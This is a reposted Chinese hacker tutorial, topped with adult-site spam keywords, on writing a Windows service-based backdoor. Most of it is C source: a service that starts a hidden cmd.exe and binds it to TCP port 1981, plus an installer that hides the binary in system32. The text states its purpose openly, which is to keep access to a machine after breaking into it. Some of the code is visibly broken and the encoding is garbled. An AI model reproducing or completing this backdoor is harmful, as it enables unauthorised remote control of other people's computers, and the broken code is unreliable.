亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關(guān)注微信公眾號(hào)

黑客技巧之自己來(lái)做服務(wù)級(jí)的木馬后門(mén)
2007-01-25   

以往大多數(shù)的木馬/后門(mén)都是通過(guò)修改系統(tǒng)ini文件(比如Win.ini,System.ini)或修改注冊(cè)表的RUN值來(lái)實(shí)現(xiàn)自啟動(dòng)的,還有更簡(jiǎn)單的是修改Autobat.exe(老大,地球不適合你,你還是回火星吧),但隨著網(wǎng)絡(luò)用戶(hù)安全意識(shí)的提高,連我家旁邊賣(mài)茶葉蛋的大媽都知道如何對(duì)付這些老方法了。為了適應(yīng)新時(shí)代木馬后門(mén)技術(shù)的發(fā)展要求,一種利用Windows NT/2000/XP系統(tǒng)服務(wù)的后門(mén)產(chǎn)生了,現(xiàn)在的WinShell,WinEggDrop等眾人皆知的Telnte擴(kuò)展后門(mén)都利用了這種方式。相信很多小菜們對(duì)這種后門(mén)技術(shù)并不了解,所以,我在這里就充個(gè)大頭,給大家傳授教業(yè)解解惑吧(受害MM目光呆滯,一臉絕望:有了你們這幫人,天下什么時(shí)候才能“無(wú)賊”啊?)。

前置原理

Windows NT/2000/XP提供的服務(wù)既可以指一種特定的Win32進(jìn)程,也可以指內(nèi)核模式的設(shè)備驅(qū)動(dòng)程序。操作系統(tǒng)的一個(gè)稱(chēng)為“服務(wù)控制管理器SCM”的組件被用來(lái)裝載和控制這兩種類(lèi)型的服務(wù)。當(dāng)然,我們說(shuō)的服務(wù),是指的前者,即我們可以利用的服務(wù)是一個(gè)在Windows NT/2000/XP下執(zhí)行的程序。當(dāng)我們打開(kāi)“控制面板管理工具服務(wù)”,就可以看到右邊有一堆的服務(wù)。每一行指定了一個(gè)特定服務(wù)的屬性,包括名稱(chēng)、描述、狀態(tài)、啟動(dòng)類(lèi)型、登錄方式等。

“服務(wù)”本身是Windows NT/2000/XP下客戶(hù)/服務(wù)器軟件的合理選擇,因?yàn)樗峁┝讼馯nix下后臺(tái)程序Daemons(守護(hù)進(jìn)程)的等價(jià)物,而且使得創(chuàng)建能夠代表權(quán)限低的用戶(hù)進(jìn)行權(quán)限高的操作的程序成為可能。像我們熟知的RPC服務(wù),病毒掃描程序以及備份程序都是很適合作為服務(wù)進(jìn)程。

服務(wù)能被我們利用作為后門(mén)實(shí)現(xiàn)自啟動(dòng),是因?yàn)樗腥齻€(gè)很重要的特性:

1. 服務(wù)可以被指定為自啟動(dòng),在利用傳統(tǒng)的注冊(cè)表修改RUN鍵值,添加ini自啟動(dòng)項(xiàng)等方法的基礎(chǔ)上又多了一種選擇。

2. 服務(wù)可以在任何用戶(hù)登錄前開(kāi)始運(yùn)行,我們可以在服務(wù)啟動(dòng)時(shí)加入殺防火墻的代碼。

3. 服務(wù)是運(yùn)行在后臺(tái)的,如果不注意,天知道什么時(shí)候被人家裝了后門(mén)。

服務(wù)大都是由服務(wù)控制程序在注冊(cè)表中維護(hù)的一個(gè)信息數(shù)據(jù)庫(kù)來(lái)管理的,每個(gè)服務(wù)在HKEY_LOCAL_MACHINESystemCurrentControlSetServices中都可以找到相應(yīng)的一個(gè)關(guān)鍵項(xiàng)。服務(wù)區(qū)別于一般Windows NT/2000/XP程序的主要之處在于服務(wù)與服務(wù)控制管理程序的合作,在后面的編程中我們將會(huì)體會(huì)到這一點(diǎn)。

編程實(shí)現(xiàn)

一個(gè)完整的服務(wù)分為安裝服務(wù)程序,主體服務(wù)程序和卸載服務(wù)程序。我們先來(lái)寫(xiě)服務(wù)的主體部分,示例代碼如下:

Code:
void main()
{
SERVICE_TABLE_ENTRY ServiceTable[] = 
{
{"scuhkr", BDServiceMain},
{NULL, NULL} //"哨兵"
};
//連接到服務(wù)控制管理器
StartServiceCtrlDispatcher(ServiceTable);
}

上面代碼中,我們先給出了一個(gè)SERVICE_TABLE_ENTRY結(jié)構(gòu)數(shù)組,每個(gè)成員描述了調(diào)用進(jìn)程提供的服務(wù),這里我們只安裝了一個(gè)服務(wù)名為Scuhkr的服務(wù),后面的BDServiceMain()我們稱(chēng)之為服務(wù)主函數(shù),通過(guò)回調(diào)該函數(shù)提供了服務(wù)入口地址,它原形的參數(shù)必須定義成如下形式:

VOID WINAPI BDServiceMain(
DWORD dwArgc, //lpszArgv參數(shù)個(gè)數(shù)
LPTSTR* lpszArgv //該數(shù)組第一個(gè)的參數(shù)指定了服務(wù)名,可以在后面被
              StartService()來(lái)調(diào)用
);

SERVICE_TABLE_ENTRY結(jié)構(gòu)數(shù)組要求最后一個(gè)成員組都為NULL,我們稱(chēng)之為“哨兵”(所有值都為NULL),表示該服務(wù)表末尾。一個(gè)服務(wù)啟動(dòng)后,馬上調(diào)用StartServiceCtrlDispatcher()通知服務(wù)控制程序服務(wù)正在執(zhí)行,并提供服務(wù)函數(shù)的地址。StartServiceCtrlDispatcher()只需要一個(gè)至少有兩SERVICE_TABLE_ENTRY結(jié)構(gòu)的數(shù)組,它為每個(gè)服務(wù)啟動(dòng)一個(gè)線程,一直等到它們結(jié)束才返回。

本程序只提供了一個(gè)服務(wù)函數(shù)BDServiceMain(),下面我們來(lái)下完成這個(gè)函數(shù)的功能,示例代碼如下:

void WINAPI BDServiceMain(DWORD dwArgc, LPTSTR *lpszArgv)
{
DWORD dwThreadId; //存放線程ID

//通過(guò)RegisterServiceCtrlHandler()與服務(wù)控制程序建立一個(gè)通信的協(xié)議。
//BDHandler()是我們的服務(wù)控制程序,它被可以被用來(lái)開(kāi)始,暫停,恢復(fù),停止服務(wù)等控制操作
if (!(ServiceStatusHandle = RegisterServiceCtrlHandler("scuhkr",
              BDHandler))) 
return;

//表示該服務(wù)私有
ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
//初始化服務(wù),正在開(kāi)始
ServiceStatus.dwCurrentState = SERVICE_START_PENDING; //
//服務(wù)可以接受的請(qǐng)求,這里我們只接受停止服務(wù)請(qǐng)求和暫停恢復(fù)請(qǐng)求
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
              | SERVICE_ACCEPT_PAUSE_CONTINUE;
//下面幾個(gè)一般我們不大關(guān)心,全為0
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode     = 0;
ServiceStatus.dwCheckPoint         = 0;
ServiceStatus.dwWaitHint         = 0;
//必須調(diào)用SetServiceStatus()來(lái)響應(yīng)服務(wù)控制程序的每次請(qǐng)求通知
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);

//開(kāi)始運(yùn)行服務(wù)
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//我們用一個(gè)事件對(duì)象來(lái)控制服務(wù)的同步
if (!(hEvent=CreateEvent(NULL, FALSE, FALSE, NULL)))
return;

ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//開(kāi)線程來(lái)啟動(dòng)我們的后門(mén)程序
if (!(hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainFn, (LPVOID)0, 0, 
&dwThreadId)))


ServiceStatus.dwCurrentState = SERVICE_RUNNING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

WaitForSingleObject(hEvent, INFINITE);

CloseHandle(hThread);
ExitThread(dwThreadId);
CloseHandle(hEvent);

return;
}

上面我們調(diào)用了一個(gè)服務(wù)控制函數(shù)BDHandler(),由于只是簡(jiǎn)單的介紹,我們這里只處理服務(wù)停止控制請(qǐng)求的情況,其它暫停、恢復(fù)等功能,讀者可以自己完善。下面是對(duì)BDHandler()的實(shí)現(xiàn)代碼:

void WINAPI BDHandler(DWORD dwControl)
{
switch(dwControl)
{
case SERVICE_CONTROL_STOP:
//等待后門(mén)程序的停止
ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;

SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
//設(shè)時(shí)間為激發(fā)狀態(tài),等待下一個(gè)事件的到來(lái)
SetEvent(hEvent);

ServiceStatus.dwCurrentState = SERVICE_STOP;
ServiceStatus.dwCheckPoint   = 0;
ServiceStatus.dwWaitHint   = 0;
//停止
SetServiceStatus(ServiceStatusHandle, &ServiceStatus);
break;

default:
break;
}
}

服務(wù)控制函數(shù)搞定了,下面就剩下主體的后門(mén)函數(shù)了。本程序借用了許多前輩翻寫(xiě)過(guò)了無(wú)數(shù)次的后門(mén)程序,通過(guò)開(kāi)一個(gè)端口監(jiān)聽(tīng),允許任何與該端口連接的遠(yuǎn)程主機(jī)建立信任連接,并提供一個(gè)交互式Shell。為了代碼清晰,我去掉了錯(cuò)誤檢查,整個(gè)過(guò)程很簡(jiǎn)單,也就不多解釋了,代碼如下:

DWORD WINAPI MainFn(LPVOID lpParam)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;
DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(1981); //監(jiān)聽(tīng)端口
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 2);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

dowhile((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE; //隱藏控制臺(tái)窗口

char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

strcat(szAPP,"cmd.exe");
//開(kāi)cmd進(jìn)程
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, 
  NULL, NULL, &startinfo, &processinfo) == 0)
{
  printf ("CreateProcess Error!n");
  return -1;
}

while (true) 
{
ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}

return 0;
}

//線程函數(shù)A, 通過(guò)管道A來(lái)從控制端接受輸入,然后寫(xiě)入被控制端輸入端
DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,
  recv_buff,
  1024,
  0);
printf("%sn", recv_buff);
WriteFile(hWriteFile,
  recv_buff,
  nByteToWrite,
  &nByteWritten,
  NULL);
}
return 0;
}

//線程函數(shù)B, 通過(guò)管道B來(lái)從被控制端接受輸入,然后寫(xiě)到控制端輸出端
DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,
&hWritePipe,
&pipeattr,
0);

varB = 1;
while (true)

return 0;
}

現(xiàn)在我們成功入侵目標(biāo)主機(jī),在拍屁股走人之前,怎么也要留個(gè)后門(mén),方便下次繼續(xù)。那后門(mén)怎么留?我們上面寫(xiě)的都是主體部分,還沒(méi)安裝呢。安裝服務(wù)的部分其實(shí)很簡(jiǎn)單,示例代碼如下:

// InstallService.cpp
void main()
{
SC_HANDLE hSCManager = NULL, //服務(wù)控制管理器句柄
hService = NULL;   //服務(wù)句柄
char szSysPath[MAX_PATH]=, 
szExePath[MAX_PATH]=;   //我們要把我們后臺(tái)執(zhí)行的程序放在這里,一般就是在admin$system32里,
隱蔽性高

if ((hSCManager = OpenSCManager(NULL, //NULL表明是本地主機(jī) 
NULL, // 要打開(kāi)的服務(wù)控制管理數(shù)據(jù)庫(kù),默認(rèn)為空
SC_MANAGER_CREATE_SERVICE//創(chuàng)建權(quán)限
))==NULL)
{
pirntf("OpenSCManager failedn");
return;
}

GetSystemDirectory(szSysPath, MAX_PATH); //獲得系統(tǒng)目錄,也就是system32里面,隱蔽起來(lái)
strcpy(szExePath, szSysPath);
strcat(szExePath, "scuhkr.exe"); //應(yīng)用程序絕對(duì)路徑

if ((hService=CreateService(hSCManager, //指向服務(wù)控制管理數(shù)據(jù)庫(kù)的句柄
    "scuhkr",   //服務(wù)名
    "scuhkr backdoor service", //顯示用的服務(wù)名
    SERVICE_ALL_ACCESS, //所有訪問(wèn)權(quán)限
    SERVICE_WIN32_OWN_PROCESS, //私有類(lèi)型
    SERVICE_DEMAND_START, //自啟動(dòng)類(lèi)型     SERVICE_ERROR_IGNORE, //忽略錯(cuò)誤處理
    szExePath, //應(yīng)用程序路徑
    NULL, 
    NULL, 
    NULL,
    NULL,
    NULL)) == NULL)
{
printf("%dn", GetLastError());
  return;
}

//讓服務(wù)馬上運(yùn)行。萬(wàn)一是個(gè)服務(wù)器,10天半個(gè)月不重啟,豈不是沒(méi)搞頭?
if(StartService(hService, 0, NULL) == FALSE)
{ 
printf("StartService failed: %dn", GetLastError());
return;
}
printf(“Install service successfullyn ”);
CloseServiceHandle(hService); //關(guān)閉服務(wù)句柄
CloseServiceHandle(hSCManager); //關(guān)閉服務(wù)管理數(shù)據(jù)庫(kù)句柄
}

一切都寫(xiě)完了,我們?cè)诒緳C(jī)上測(cè)試一下,先把前面的服務(wù)主體程序Scuhkr.exe拷貝到系統(tǒng)目錄system32下(如果需要程序自動(dòng)實(shí)現(xiàn)自拷貝的,可以通過(guò)CopyFile()來(lái)實(shí)現(xiàn),具體怎么做偶就不講了,相信聰明的你三下五除二就能搞定,確實(shí)不行就去找WinShell的源代碼來(lái)看看吧),然后執(zhí)行InstallServcie.exe。為了看我們是否安裝成功,有兩個(gè)辦法,一是通過(guò)控制面板->管理工具->服務(wù),二是利用控制臺(tái)下系統(tǒng)自帶的Sc.exe工具,比如:“sc.exe qc rpcss”。看到安裝服務(wù)的信息了?是不是很簡(jiǎn)單呢!


熱詞搜索:

上一篇:關(guān)于WINDOWS故障恢復(fù)控制臺(tái)RC的介紹
下一篇:黑客技巧之用UDP協(xié)議的木馬編寫(xiě)方法

分享到: 收藏